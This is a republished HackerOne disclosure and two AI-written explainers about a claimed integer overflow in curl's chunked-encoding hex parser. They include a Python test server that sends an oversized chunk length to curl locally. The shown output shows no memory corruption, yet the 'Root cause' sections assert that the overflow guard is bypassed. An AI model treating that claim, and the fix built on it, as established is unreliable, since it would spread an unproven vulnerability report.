Skip to content
Memory corruption Disclosed report Advanced

Security Analysis Report: CURL Integer Overflow Vulnerability

The report claims an integer overflow in curl's HTTP chunked encoding parser allows a malicious server to bypass the overflow check and cause memory corruption, potentially leading to denial of service or information disclosure. The provided test shows curl accepting a chunk size of 0x7FFFFFFFFFFFFFFF and continuing to read subsequent data, but no actual memory corruption is demonstrated.

0x177mnns Follow

Originally disclosed on HackerOne

  • Disclosed after 14 hours
  1. Vulnerability Overview

Vulnerability Type: Integer Overflow in HTTP chunked encoding Location in Source:

lib/http_chunks.c (line 173)
lib/curlx/strparse.c (lines 185–186)

Impact: Integer overflow leads to memory corruption Can cause buffer overflow Results in Denial of Service (DoS) for curl Potential for information disclosure under controlled conditions Code Snippet Demonstrating the Issue

// http_chunks.c line 173
if(curlx_str_hex(&p, &ch->datasize, CURL_OFF_T_MAX)) {
    // Error handling
}
// strparse.c lines 185-186
if(num > ((max - n) / base))
    return STRE_OVERFLOW;
num = num * base + n;

Problem: The overflow check can be bypassed when max = CURL_OFF_T_MAX (0x7FFFFFFFFFFFFFFF). This allows num to exceed the maximum value without triggering the overflow protection, leading to memory corruption when curl processes chunked responses.

Test Setup Python test server simulating vulnerable behavior:

#!/usr/bin/env python3

import socket
import threading

def create_test_response():
    overflow_chunk_size = "7FFFFFFFFFFFFFFFF"
    
    html_content = "<html><body><h1>Overflow Test Page</h1><p>If you see this, curl continued reading.</p></body></html>"
    
    response = (
        "HTTP/1.1 200 OK\r\n"
        "Transfer-Encoding: chunked\r\n"
        "Content-Type: text/html\r\n"
        "Connection: close\r\n"
        "\r\n"
        f"{overflow_chunk_size}\r\n"  
        "VULNERABILITY_PROOF_DATA\r\n"  
        f"{len(html_content):X}\r\n"  
        f"{html_content}\r\n"  
        "0\r\n"  
        "\r\n"
    )
    return response.encode()
def handle_client(client_socket, addr):
    print(f"[+] Connection from {addr}")
    try:
        request = client_socket.recv(1024)
        print(f"[+] Sending test response with overflow and HTML chunk...")
        response = create_test_response()
        client_socket.send(response)
        print(f"[+] Response sent!")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        client_socket.close()
def start_test_server():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    try:
        server.bind(('127.0.0.1', 8080))
        server.listen(5)
        print("=" * 60)
        print("CURL INTEGER OVERFLOW TEST CONTINUATION ")
        print("=" * 60)
        print("Server running on port 8080")
        print("After sending overflow chunk, HTML chunk will follow")
        print("Run: curl  http://127.0.0.1:8080")
        print("=" * 60)
        
        while True:
            client_socket, addr = server.accept()
            client_thread = threading.Thread(target=handle_client, args=(client_socket, addr))
            client_thread.daemon = True
            client_thread.start()
    except KeyboardInterrupt:
        print("\n[+] Server stopped")
    finally:
        server.close()

if __name__ == "__main__":
    start_test_server()


curl http://127.0.0.1:8080

F1:F4796194

chrome F1:F4796193

overflow_chunk_size = "7FFFFFFFFFFFFFFFF"

└─$ curl http://127.0.0.1:8080
curl: (56) chunk hex-length longer than 16

overflow_chunk_size = "7FFFFFFFFFFFFFFF"

└─$ curl http://127.0.0.1:8080
VULNERABILITY_PROOF_DATA
64
<html><body><h1>Overflow Test Page</h1><p>If you see this, curl continued reading.</p></body></html>
0
curl: (18) transfer closed with outstanding read data remaining
└─$ 

Impact

Integer overflow leads to memory corruption Can cause buffer overflow Results in Denial of Service (DoS) for curl Potential for information disclosure under controlled conditions Code Snippet Demonstrating the Issue

Attachments

curl2.PNG
curl2.PNG From the original on HackerOne
curl1.PNG
curl1.PNG

The original report as published on HackerOne, by 0x177mnns. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

curl is a command-line tool and library for transferring data with URLs. One of the HTTP/1.1 framing mechanisms it implements is chunked transfer encoding, where the body is sent as a series of chunks, each prefixed by its length written in hexadecimal. The code that parses those chunk headers lives in lib/http_chunks.c, and the hexadecimal string parsing it relies on lives in lib/curlx/strparse.c.

The report examines the interaction between those two files and the overflow guard inside the hex parser. The asset named in the report is the curl source repository at https://github.com/curl/curl.

Setup

No accounts, roles or special versions are described. The researcher worked from the source tree and built a local test harness: a small Python server that speaks raw HTTP over a socket and emits a crafted chunked response. The client side is the curl command line pointed at that local server.

The two source locations the report points at are:

Text
lib/http_chunks.c (line 173)
lib/curlx/strparse.c (lines 185–186)

Finding it

The researcher focused on the call that converts the chunk size from hex text into a number:

C
// http_chunks.c line 173
if(curlx_str_hex(&p, &ch->datasize, CURL_OFF_T_MAX)) {
    // Error handling
}

and on the overflow check inside the hex parser:

C
// strparse.c lines 185-186
if(num > ((max - n) / base))
    return STRE_OVERFLOW;
num = num * base + n;

The guard is the classic pre-multiplication check: before computing num * base + n, it verifies that num is not larger than (max - n) / base. The researcher's observation is that this check can be bypassed when max is CURL_OFF_T_MAX (0x7FFFFFFFFFFFFFFF), because the report states the check can be bypassed when max is CURL_OFF_T_MAX. Under that condition num can grow past the maximum value without the overflow protection firing, and the corrupted size is then used while curl processes the chunked response.

Exploitation

Step 1: build a server that emits an oversized chunk length

The test server sends a normal 200 OK with Transfer-Encoding: chunked, then a chunk size of 7FFFFFFFFFFFFFFFF, then some proof data, then a second, legitimate HTML chunk, then the terminating zero chunk.

Python
#!/usr/bin/env python3

import socket
import threading

def create_test_response():
    overflow_chunk_size = "7FFFFFFFFFFFFFFFF"

    html_content = "<html><body><h1>Overflow Test Page</h1><p>If you see this, curl continued reading.</p></body></html>"

    response = (
        "HTTP/1.1 200 OK\r\n"
        "Transfer-Encoding: chunked\r\n"
        "Content-Type: text/html\r\n"
        "Connection: close\r\n"
        "\r\n"
        f"{overflow_chunk_size}\r\n"
        "VULNERABILITY_PROOF_DATA\r\n"
        f"{len(html_content):X}\r\n"
        f"{html_content}\r\n"
        "0\r\n"
        "\r\n"
    )
    return response.encode()
def handle_client(client_socket, addr):
    print(f"[+] Connection from {addr}")
    try:
        request = client_socket.recv(1024)
        print(f"[+] Sending test response with overflow and HTML chunk...")
        response = create_test_response()
        client_socket.send(response)
        print(f"[+] Response sent!")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        client_socket.close()
def start_test_server():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    try:
        server.bind(('[redacted]', 8080))
        server.listen(5)
        print("=" * 60)
        print("CURL INTEGER OVERFLOW TEST CONTINUATION ")
        print("=" * 60)
        print("Server running on port 8080")
        print("After sending overflow chunk, HTML chunk will follow")
        print("Run: curl  http://[redacted]:8080")
        print("=" * 60)

        while True:
            client_socket, addr = server.accept()
            client_thread = threading.Thread(target=handle_client, args=(client_socket, addr))
            client_thread.daemon = True
            client_thread.start()
    except KeyboardInterrupt:
        print("\n[+] Server stopped")
    finally:
        server.close()

if __name__ == "__main__":
    start_test_server()

The key line is overflow_chunk_size = "7FFFFFFFFFFFFFFFF", a 17-digit hex value, one digit longer than the 16 hex digits that fit in a 64-bit CURL_OFF_T_MAX. The server binds to [redacted]:8080 and the report instructs the reader to run:

Bash
curl  http://[redacted]:8080

Step 2: first run with the 17-digit value

Bash
└─$ curl http://[redacted]:8080
curl: (56) chunk hex-length longer than 16

With 7FFFFFFFFFFFFFFFF curl rejects the chunk header outright with error 56 and the message chunk hex-length longer than 16. So the length check on the number of hex digits stops this particular value before the arithmetic matters.

Step 3: second run with the 16-digit value

The researcher then changed the value to 7FFFFFFFFFFFFFFF, exactly 16 hex digits, which is CURL_OFF_T_MAX itself:

Text
overflow_chunk_size = "7FFFFFFFFFFFFFFF"
Bash
└─$ curl http://[redacted]:8080
VULNERABILITY_PROOF_DATA
64
<html><body><h1>Overflow Test Page</h1><p>If you see this, curl continued reading.</p></body></html>
0
curl: (18) transfer closed with outstanding read data remaining
└─$

Here curl accepts the chunk length, reads the VULNERABILITY_PROOF_DATA line as chunk data, then prints the next chunk header 64 and the HTML body that follows it, and finally the terminating 0. It ends with error 18, transfer closed with outstanding read data remaining, because the server closed the connection while curl still expected the enormous amount of data announced by the first chunk.

The second run shows curl accepting the 16-digit value and continuing to read the following chunks.

curl2.PNG
curl2.PNG From the original on HackerOne
curl1.PNG
curl1.PNG

Root cause

The hex parser validates the accumulated value with if(num > ((max - n) / base)) before doing num = num * base + n. That formulation assumes the bound computation itself cannot wrap. When max is CURL_OFF_T_MAX, the largest positive value of the signed type, the expression (max - n) / base sits at the edge of the representable range, and the researcher's claim is that the comparison can be satisfied for a value that then overflows in num * base + n. The result is a datasize that no longer reflects the text in the chunk header, and that value is used for memory handling while the chunked body is processed.

The separate 16-hex-digit limit (chunk hex-length longer than 16) is what rejected the 17-digit input in the first run, so the reachable input is the 16-digit maximum rather than anything longer.

Impact

The report lists the following consequences:

  • Integer overflow leads to memory corruption.
  • It can cause a buffer overflow.
  • It results in Denial of Service (DoS) for curl.
  • There is potential for information disclosure under controlled conditions.

The information disclosure is described as conditional ("under controlled conditions") rather than demonstrated in the report.

Fix

The report does not describe a patch, a commit or a maintainer response. What follows from the analysis is that the overflow guard in lib/curlx/strparse.c needs to handle the max = CURL_OFF_T_MAX case without the bound expression itself wrapping, for example by checking the multiplication and addition separately or by rejecting values at or above the limit before the multiply. The report does not state which approach was taken.

Variants to test

  • Send chunk lengths just below the 16-digit maximum, such as values close to 7FFFFFFFFFFFFFFF, and watch whether curl's reported remaining length or error code changes. A positive result is curl accepting a length it cannot possibly receive and then behaving inconsistently when the connection closes.
  • Exercise the same hex parser through other callers that pass a maximum bound, since the guard is generic. A positive result is any caller where a value at the bound is accepted and then used in size arithmetic.
  • Try the same crafted chunked response against other HTTP clients and libraries that parse chunk sizes with a similar pre-multiplication check. A positive result is a client that reads past the announced chunk instead of rejecting the header.

Hunting notes

This kind of bug hides in parsers that convert attacker-controlled text into a bounded integer, especially where the bound is the maximum of the signed type and the check is written as (max - n) / base. During recon, look for protocol framing code (chunked encoding, length-prefixed protocols, multipart boundaries) and for helper functions shared by several callers, because a single flawed guard affects every caller that passes the same maximum.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

curl is a very common program for downloading things from the internet. You have probably used it without knowing: many installers, scripts and apps use it behind the scenes to fetch a web page or a file. It also exists as a library, meaning other programs can borrow its code to do the same job.

When a web server sends a page to a client, it has to tell the client how much data is coming. One way is to send a single number up front: "this body is 4,000 bytes long". Another way, called chunked transfer encoding, is to send the body in pieces. Each piece starts with a small header line that says how long that piece is, written in hexadecimal (base 16, where the digits go 0 to 9 and then A to F). The client reads the length, reads exactly that many bytes, then reads the next length, and so on until a piece of length zero arrives, which means "the body is finished".

Because those length numbers come from the server, and a server can be malicious or compromised, curl has to treat them with suspicion. It converts the hex text into a number and checks that the number is not too large. The report looks at that check and claims that, at the very top of the allowed range, it can be bypassed. The report says this leads to memory corruption when curl processes chunked responses.

The report calls this an integer overflow. An integer is a whole number, and every computer stores whole numbers in a fixed amount of space, so there is a biggest value that fits. If you do arithmetic that goes past that biggest value, the result wraps around, like a car odometer rolling from 999999 back to 000000. Code that is supposed to prevent this can itself be caught out by the wrap, and that is the heart of this finding.

The report lists four possible consequences: memory corruption, a buffer overflow, a denial of service (the program crashes or hangs, so it cannot do its job), and, under controlled conditions, information disclosure (the program revealing data it should not).

The two files involved

curl is open source, so anyone can read its code. The report points at two specific places in the source tree:

Text
lib/http_chunks.c (line 173)
lib/curlx/strparse.c (lines 185–186)

The first file, lib/http_chunks.c, is where curl handles chunked transfer encoding: it reads the length line, asks a helper to turn the hex text into a number, and then uses that number to decide how much data to read. The second file, lib/curlx/strparse.c is a general-purpose helper for parsing text into numbers, and it contains the overflow guard. Splitting the work like this is normal: one file knows about HTTP, another knows about converting text to numbers, and many parts of curl can share the second one.

The asset named in the report is the curl source repository at https://github.com/curl/curl.

Setting up a test

The report does not mention any accounts, roles or particular curl versions. The researcher worked from the source code and built a small local test: a Python program that pretends to be a web server, speaking HTTP directly over a network connection, and sends back a deliberately malformed chunked response. On the other side, the ordinary curl command is pointed at that local server.

Why build a fake server instead of finding a real one? Because you need full control over the exact bytes that come back. A real website will not send a chunk length of 7FFFFFFFFFFFFFFF on request. A few lines of Python on your own machine can send anything you like, and nothing leaves your computer.

Finding the flaw

The researcher looked at the line in http_chunks.c that converts the chunk size from hex text into a number:

C
// http_chunks.c line 173
if(curlx_str_hex(&p, &ch->datasize, CURL_OFF_T_MAX)) {
    // Error handling
}

Line by line:

  • curlx_str_hex is the helper that reads hex text and produces a number. The name suggests "string to hex value".
  • &p is a pointer to the current position in the text being parsed. A pointer is just an address saying "read from here".
  • &ch->datasize is where the resulting number will be stored: the datasize field of the chunk structure ch. The -> notation means "the field inside this structure".
  • CURL_OFF_T_MAX is the maximum value the helper is allowed to return. It is the largest positive number that fits in the signed integer type curl uses for file offsets and sizes.
  • The if(...) means: if the helper reports a problem, go to the error handling. If it returns success, curl carries on and trusts datasize.

Then the researcher looked at the overflow check inside the hex parser itself:

C
// strparse.c lines 185-186
if(num > ((max - n) / base))
    return STRE_OVERFLOW;
num = num * base + n;

Line by line:

  • num is the number built so far from the digits already read.
  • n is the value of the next digit (0 to 15 in hex).
  • base is 16, because we are reading hexadecimal.
  • max is the largest value the caller will accept, here CURL_OFF_T_MAX.
  • The if line is a guard. Before doing the multiplication and addition, it asks: is num already so big that multiplying by 16 and adding n would go past max? It works this out by rearranging the arithmetic: instead of computing num * base + n and checking afterwards (too late, the damage is done), it checks whether num is greater than (max - n) / base. If so, it returns STRE_OVERFLOW, an error code meaning "this number is too big".
  • If the guard passes, the next line actually computes the new value: num = num * base + n.

This style of check is standard practice. The researcher's observation is that it can be bypassed when max is CURL_OFF_T_MAX (0x7FFFFFFFFFFFFFFF), because the arithmetic used to work out the limit itself behaves differently at the very edge of what the number type can hold. Under that condition, num can grow past the maximum without the guard firing, and the wrong size is then used while curl processes the chunked response.

A useful comparison: imagine a lift that says it holds at most 1,000 kg. A guard at the door calculates "how much more can we take?" by subtracting the current load from 1,000. That works fine until the current load is already exactly 1,000, or the subtraction itself is done in a way that misbehaves at the limit. The guard then waves through a load that should have been stopped.

Step 1: build a server that sends an oversized chunk length

The test server sends a normal 200 OK response with Transfer-Encoding: chunked, then a chunk size of 7FFFFFFFFFFFFFFFF, then some proof data, then a second, legitimate HTML chunk, then the terminating zero chunk.

Python
#!/usr/bin/env python3

import socket
import threading

def create_test_response():
    overflow_chunk_size = "7FFFFFFFFFFFFFFFF"

    html_content = "<html><body><h1>Overflow Test Page</h1><p>If you see this, curl continued reading.</p></body></html>"

    response = (
        "HTTP/1.1 200 OK\r\n"
        "Transfer-Encoding: chunked\r\n"
        "Content-Type: text/html\r\n"
        "Connection: close\r\n"
        "\r\n"
        f"{overflow_chunk_size}\r\n"
        "VULNERABILITY_PROOF_DATA\r\n"
        f"{len(html_content):X}\r\n"
        f"{html_content}\r\n"
        "0\r\n"
        "\r\n"
    )
    return response.encode()
def handle_client(client_socket, addr):
    print(f"[+] Connection from {addr}")
    try:
        request = client_socket.recv(1024)
        print(f"[+] Sending test response with overflow and HTML chunk...")
        response = create_test_response()
        client_socket.send(response)
        print(f"[+] Response sent!")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        client_socket.close()
def start_test_server():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    try:
        server.bind(('[redacted]', 8080))
        server.listen(5)
        print("=" * 60)
        print("CURL INTEGER OVERFLOW TEST CONTINUATION ")
        print("=" * 60)
        print("Server running on port 8080")
        print("After sending overflow chunk, HTML chunk will follow")
        print("Run: curl  http://[redacted]:8080")
        print("=" * 60)

        while True:
            client_socket, addr = server.accept()
            client_thread = threading.Thread(target=handle_client, args=(client_socket, addr))
            client_thread.daemon = True
            client_thread.start()
    except KeyboardInterrupt:
        print("\n[+] Server stopped")
    finally:
        server.close()

if __name__ == "__main__":
    start_test_server()

What each part does:

  • import socket and import threading load two Python modules. socket lets the program open a network connection and send raw bytes. threading lets it handle more than one visitor at a time, so a second curl run does not have to wait for the first to finish.
  • create_test_response() builds the exact bytes of the reply. overflow_chunk_size = "7FFFFFFFFFFFFFFFF" is the crafted chunk length: 17 hex digits, one more than the 16 hex digits that fit in a 64-bit CURL_OFF_T_MAX. This is the value under test.
  • html_content is an ordinary small HTML page, used as a second, legitimate chunk so you can see whether curl keeps reading after the bad one.
  • The response string is the HTTP reply assembled piece by piece. HTTP/1.1 200 OK is the status line. Transfer-Encoding: chunked tells the client the body is chunked. Content-Type: text/html says the body is a web page. Connection: close says the server will close the connection when done. The empty line \r\n separates headers from body. Then comes the oversized chunk length, the line VULNERABILITY_PROOF_DATA as that chunk's data, the length of the HTML page in hex (f"{len(html_content):X}" formats the length as uppercase hex), the HTML itself, and finally 0 followed by an empty line, the standard end of a chunked body. \r\n is the carriage-return plus line-feed pair that HTTP uses to end a line.
  • handle_client runs once per connection: it reads whatever the client sent (the request), sends the crafted response, and closes the socket. The try/except/finally makes sure the connection is closed even if something goes wrong.
  • start_test_server creates the listening socket, sets SO_REUSEADDR so the port can be reused immediately after a restart, binds to [redacted] (the local machine only) on port 8080, and starts listening. The while True loop accepts each new connection and hands it to a thread. KeyboardInterrupt catches Ctrl+C so the server shuts down cleanly.
  • The if __name__ == "__main__": line means "only start the server if this file is run directly", a common Python convention.

The key line is overflow_chunk_size = "7FFFFFFFFFFFFFFFF". The server binds to [redacted]:8080, and the report instructs the reader to run:

Bash
curl  http://[redacted]:8080

This asks curl to fetch the page from the local test server. [redacted] is the address of your own computer, and 8080 is the port the Python script is listening on. Nothing goes out to the internet.

Step 2: first run with the 17-digit value

Bash
└─$ curl http://[redacted]:8080
curl: (56) chunk hex-length longer than 16

With 7FFFFFFFFFFFFFFFF, curl rejects the chunk header outright. Error 56 is curl's code for a failure while receiving data, and the message chunk hex-length longer than 16 explains why: curl has a separate rule that a chunk length may not be more than 16 hex digits. That rule stops this particular value before the arithmetic in the parser ever matters. In other words, the first attempt does not reach the suspected flaw at all.

Step 3: second run with the 16-digit value

The researcher then changed the value to 7FFFFFFFFFFFFFFF, exactly 16 hex digits, which is CURL_OFF_T_MAX itself:

Text
overflow_chunk_size = "7FFFFFFFFFFFFFFF"
Bash
└─$ curl http://[redacted]:8080
VULNERABILITY_PROOF_DATA
64
<html><body><h1>Overflow Test Page</h1><p>If you see this, curl continued reading.</p></body></html>
0
curl: (18) transfer closed with outstanding read data remaining
└─$

What the output shows, line by line:

  • VULNERABILITY_PROOF_DATA is the data of the first chunk. curl accepted the enormous length and read this line as chunk content.
  • 64 is the next chunk header, the length of the HTML page written in hex (0x64 is 100 in decimal).
  • The HTML line is the body of that second chunk, printed as normal page content.
  • 0 is the terminating chunk, meaning "body finished".
  • curl: (18) transfer closed with outstanding read data remaining is the final error. Error 18 means the server closed the connection while curl still expected more data. That is exactly what happened: the first chunk announced an astronomically large amount of data, the server sent only a little and hung up, so curl was left waiting for the rest.

The second run shows curl accepting the 16-digit value and continuing to read the following chunks.

curl2.PNG
curl2.PNG From the original on HackerOne
curl1.PNG
curl1.PNG

Why it happens

The hex parser checks the accumulated value with if(num > ((max - n) / base)) before doing num = num * base + n. That formulation assumes the calculation of the limit itself cannot wrap around. When max is CURL_OFF_T_MAX, the largest positive value of the signed type, the expression (max - n) / base sits at the very edge of what the number type can represent, and the researcher's claim is that the comparison can be satisfied for a value that then overflows in num * base + n. The result is a datasize that no longer matches the text in the chunk header, and that value is used for memory handling while the chunked body is processed.

The separate 16-hex-digit limit (chunk hex-length longer than 16) is what rejected the 17-digit input in the first run, so the reachable input is the 16-digit maximum rather than anything longer. That is why the second run matters: it is the largest value the digit-count rule allows, and it is the one that gets through.

Impact

The report lists the following consequences:

  • Integer overflow leads to memory corruption.
  • It can cause a buffer overflow.
  • It results in Denial of Service (DoS) for curl.
  • There is potential for information disclosure under controlled conditions.

In plain terms: memory corruption means the program's internal memory ends up in a state it did not intend, which can make it misbehave in unpredictable ways. A buffer overflow is a specific kind of memory corruption where data is written past the end of a reserved area. Denial of service means the program crashes or hangs, so it cannot do its job. Information disclosure means data the program holds could be exposed. The report describes the information disclosure as conditional ("under controlled conditions") rather than demonstrating it.

Fix

The report does not describe a patch, a commit or a maintainer response. What follows from the analysis is that the overflow guard in lib/curlx/strparse.c needs to handle the max = CURL_OFF_T_MAX case without the limit calculation itself wrapping, for example by checking the multiplication and addition separately, or by rejecting values at or above the limit before the multiply.

Variants to test

  • Send chunk lengths just below the 16-digit maximum, such as values close to 7FFFFFFFFFFFFFFF, and watch whether curl's reported remaining length or error code changes. A positive result is curl accepting a length it cannot possibly receive and then behaving inconsistently when the connection closes.
  • Exercise the same hex parser through other callers that pass a maximum bound, since the guard is generic. A positive result is any caller where a value at the bound is accepted and then used in size arithmetic.
  • Try the same crafted chunked response against other HTTP clients and libraries that parse chunk sizes with a similar pre-multiplication check. A positive result is a client that reads past the announced chunk instead of rejecting the header.

Hunting notes

This kind of bug hides in parsers that convert attacker-controlled text into a bounded integer, especially where the bound is the maximum of the signed type and the check is written as (max - n) / base. During recon, look for protocol framing code (chunked encoding, length-prefixed protocols, multipart boundaries) and for helper functions shared by several callers, because a single flawed guard affects every caller that passes the same maximum.

Glossary

  • curl: a command-line tool and library for transferring data with URLs; it downloads and uploads data over protocols such as HTTP.
  • Library: a collection of code that other programs can reuse instead of writing it themselves.
  • HTTP: the protocol browsers and servers use to exchange web pages and other data.
  • HTTP/1.1: a version of HTTP in which each request gets its own connection or a reused one, and the body length can be announced in different ways.
  • Chunked transfer encoding: a way of sending an HTTP body in pieces, each prefixed by its length in hexadecimal, ending with a zero-length piece.
  • Chunk: one piece of a chunked body, made of a length line followed by that many bytes of data.
  • Hexadecimal (hex): base-16 numbering, using digits 0 to 9 and letters A to F; one hex digit represents four bits.
  • Integer: a whole number, stored in a fixed amount of computer memory.
  • Integer overflow: what happens when arithmetic produces a value too large for the number type, so the result wraps around instead of growing.
  • 64-bit: a number type stored in 64 bits, which limits how large a value it can hold.
  • Signed type: a number type that can hold both positive and negative values, so its positive maximum is lower than an unsigned type of the same size.
  • CURL_OFF_T_MAX: the largest positive value curl's offset/size number type can hold, written in hex as 0x7FFFFFFFFFFFFFFF.
  • 0x prefix: a notation meaning the following digits are hexadecimal.
  • Pointer: a value that holds the memory address of something, used to say where to read or write.
  • Structure (struct): a bundle of related fields stored together, accessed with -> in C.
  • Parser: code that reads text and turns it into a usable value or structure.
  • Guard / overflow check: a test performed before arithmetic to make sure the result will fit.
  • Error code: a number a function returns to say what went wrong; STRE_OVERFLOW is the parser's "too big" code.
  • Memory corruption: a state where a program's memory holds values it did not intend, often leading to crashes or worse.
  • Buffer overflow: writing data past the end of a reserved memory area, a specific form of memory corruption.
  • Denial of Service (DoS): making a program or service crash or hang so it cannot serve its users.
  • Information disclosure: exposing data that should have stayed private.
  • Socket: the programming object that represents a network connection, used to send and receive raw bytes.
  • Port: a numbered channel on a machine; the test server listens on port 8080.
  • [redacted]: the loopback address, meaning "this same computer"; traffic to it never leaves the machine.
  • Thread: an independent path of execution inside a program, letting it do several things at once.
  • \r\n: carriage return plus line feed, the two-byte sequence HTTP uses to end a line.
  • Status line: the first line of an HTTP response, such as HTTP/1.1 200 OK.
  • Header: a name/value line in an HTTP request or response carrying metadata, such as Transfer-Encoding.
  • Transfer-Encoding: chunked: the header that tells the client the body is sent in chunks.
  • Content-Type: the header that says what kind of data the body is, such as text/html.
  • Connection: close: the header that says the server will close the connection after the response.
  • curl error 56: curl's code for a failure while receiving data.
  • curl error 18: curl's code for the server closing the connection while data was still expected.
  • Differential test: running two inputs that differ in one detail and comparing the results, to show which detail causes the behaviour.
  • Recon: the information-gathering phase of security work, where you look for promising areas of code or behaviour.
  • Framing: the rules a protocol uses to mark where a message starts and ends, such as chunk lengths.
  • Caller: the piece of code that calls a function.
  • Reproducible: something you can make happen again on demand, following the same steps.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.